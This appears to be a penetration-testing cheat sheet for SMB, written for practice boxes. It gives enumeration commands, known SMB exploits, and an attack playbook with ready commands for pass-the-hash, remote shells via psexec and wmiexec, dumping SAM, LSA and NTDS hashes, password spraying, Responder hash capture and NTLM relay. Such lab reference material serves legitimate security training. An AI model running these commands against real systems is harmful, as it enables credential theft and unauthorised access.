SMB

TL;DR

SMB (Server Message Block). File, printer, and resource sharing on Windows. Samba is the Linux implementation. TCP 445 carries SMB over TCP. TCP 139 is the legacy NetBIOS session port. UDP 137/138 carry NetBIOS name and datagram traffic. Dialects run from SMBv1 (legacy, dangerous) through SMBv2 and SMBv3.

First checks: null or guest session, share list and permissions, OS and dialect, and whether the server requires signing.

Protocol background is in SMB & NetBIOS.

Commands

Inside an smbclient session:

Enumeration

Workflow: a quick nxc fingerprint to start, then the full sweep and deep enumeration, then browse with smbclient. The rest are fallback and cross-check.

Quick pass. Fingerprint the host and test a null session:

nxc smb $TARGET
nxc smb $TARGET -u '' -p '' --shares

nxc smb $TARGET alone prints the hostname, domain, OS, SMB version, signing, and SMBv1 status. The null session then shows any readable shares, enough to start on while the full scan runs.

Sweep. Ports, version, signing, and the MS17-010 check:

sudo nmap -p139,445 -sC -sV --script smb-os-discovery,smb-protocols,smb-security-mode,smb-vuln-ms17-010 -oA scans/smb $TARGET

smb-protocols lists the dialects. The highest one hints at the OS: SMB 3.1.1 means Windows 10 or Server 2016 and later.

Enumerate with NetExec (nxc, the maintained CrackMapExec fork). One command pulls shares, users, groups, and the password policy, over null, credentialed, or pass-the-hash auth:

nxc smb $TARGET -u '' -p '' --shares --users --groups --pass-pol --rid-brute

-u '' -p '' is the null session. Swap in -u <user> -p <pass>, or -u <user> -H <hash> to pass the hash. --rid-brute cycles RIDs when the server blocks user enumeration. Usernames feed password spraying and Kerberos attacks. Add --spider to crawl share contents.

Browse and download with smbclient. List shares, then connect to one:

smbclient -L //$TARGET/ -N                                 # null session
smbclient -L //$TARGET/ -U '<user>%<pass>'                 # with credentials
smbclient //$TARGET/<share> -U '<user>%<pass>'             # connect to a share
smbclient //$TARGET/<share> -U '<DOMAIN>/<user>%<pass>'    # domain account
smbclient //$TARGET/<share> -U '<user>%<nthash>' --pw-nt-hash   # pass the hash

-L lists instead of connecting. -N is the null session. -U user%pass passes credentials inline, and omitting %pass prompts for it. Prefix DOMAIN/ for a domain account. --pw-nt-hash treats the password slot as an NT hash, for pass-the-hash.

Pull a whole share at once:

smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

recurse ON walks subdirectories. prompt OFF skips the per-file confirmation. Run !<cmd> for a local shell command without leaving the session.

Mount a share as a local filesystem:

sudo mount -t cifs //$TARGET/<share> /mnt/smb -o username=<user>,password=<pass>

Hunt and download across shares without browsing by hand:

smbclient //$TARGET/<share> -U '<user>%<pass>' -c 'get <file>'   # grab one file, no session
smbmap -H $TARGET -u <user> -p <pass> -R --depth 5               # recursive listing
smbmap -H $TARGET -u <user> -p <pass> --download '<share>/path/file'
nxc smb $TARGET -u <user> -p <pass> -M spider_plus               # index every readable file

smbclient -c runs one command and exits. smbmap -R walks shares to a depth, and --download pulls a file. The spider_plus module writes an index of every readable file for review.

Fallback and cross-check. Each wraps one interface. Use them when nxc misses something, or to cross-check it:

• enum4linux-ng -A $TARGET dumps everything in one run.
• rpcclient -U "" -N $TARGET makes raw MS-RPC calls: enumdomusers, queryuser <RID>, querydominfo.
• samrdump.py $TARGET (Impacket) lists users.
• smbmap -H $TARGET maps per-share permissions.

Tools parse responses differently, so one surfaces what another misses.

Common misconfigurations

• Null session or guest access to shares.
• Readable shares holding credentials, configs, scripts, or backups.
• Writable shares.
• SMB signing not required.
• SMBv1 enabled.
• Weak or reused credentials.

Version exploits

Match the OS and dialect from enumeration before trusting any of these.

• EternalBlue (MS17-010, CVE-2017-0144): SMBv1 remote code execution. NSE smb-vuln-ms17-010, or Metasploit exploit/windows/smb/ms17_010_eternalblue.
• MS08-067 (CVE-2008-4250): older Windows netapi remote code execution. Found on Windows XP and 2003 targets.
• SambaCry (CVE-2017-7494): Samba 3.5.0 and later, a writable share loads an uploaded shared library for remote code execution.
• Samba usermap_script (CVE-2007-2447): Samba 3.0.20 to 3.0.25rc3, command injection in the username field.

Attack playbook

1. Loot readable shares. Null, guest, or weak creds let you read. Pull configs, scripts, and backups for credentials and host detail. Watch for Groups.xml with a GPP cpassword in a domain share, and crack it with gpp-decrypt. The usual SMB win. Listing and connection are in Enumeration.
2. Reuse credentials or hashes. Creds and NTLM hashes found over SMB often work on SMB, WinRM, RDP, and MSSQL. Pass the hash with nxc smb $TARGET -u <user> -H <hash>.
3. Execute commands with admin creds. Local-admin access runs commands and gives a shell: nxc smb $TARGET -u <admin> -p <pass> -x 'whoami' (-X for PowerShell), or Impacket psexec.py / wmiexec.py / smbexec.py for a full shell. wmiexec is quieter, dropping no service.
4. Dump secrets with admin creds. Pull hashes to reuse: nxc smb $TARGET -u <admin> -p <pass> --sam --lsa, or secretsdump.py '<admin>:<pass>@'$TARGET. On a domain controller --ntds pulls the domain hashes. Feed them back into pass-the-hash.
5. Write for code execution or hash capture. A writable share takes a payload, or an SCF or LNK file that makes a victim authenticate to you. Capture the NetNTLM hash with Responder.
6. Version exploit. Match the dialect and OS, then see Version exploits above. SMBv1 targets are the common one.
7. Brute or spray. Last resort. Check the password policy first with nxc smb $TARGET --pass-pol for the lockout threshold. Then spray one password across a user list: nxc smb $TARGET -u users.txt -p '<Password>'.

Situational: relay NTLM authentication with ntlmrelayx and Responder when signing is not required. --rid-brute lists users when the server blocks direct enumeration.

Practice boxes

On easy boxes SMB is often the whole foothold. On harder ones it is loot and lateral movement: a share leak, a captured hash, or a pass-the-hash onto the next host.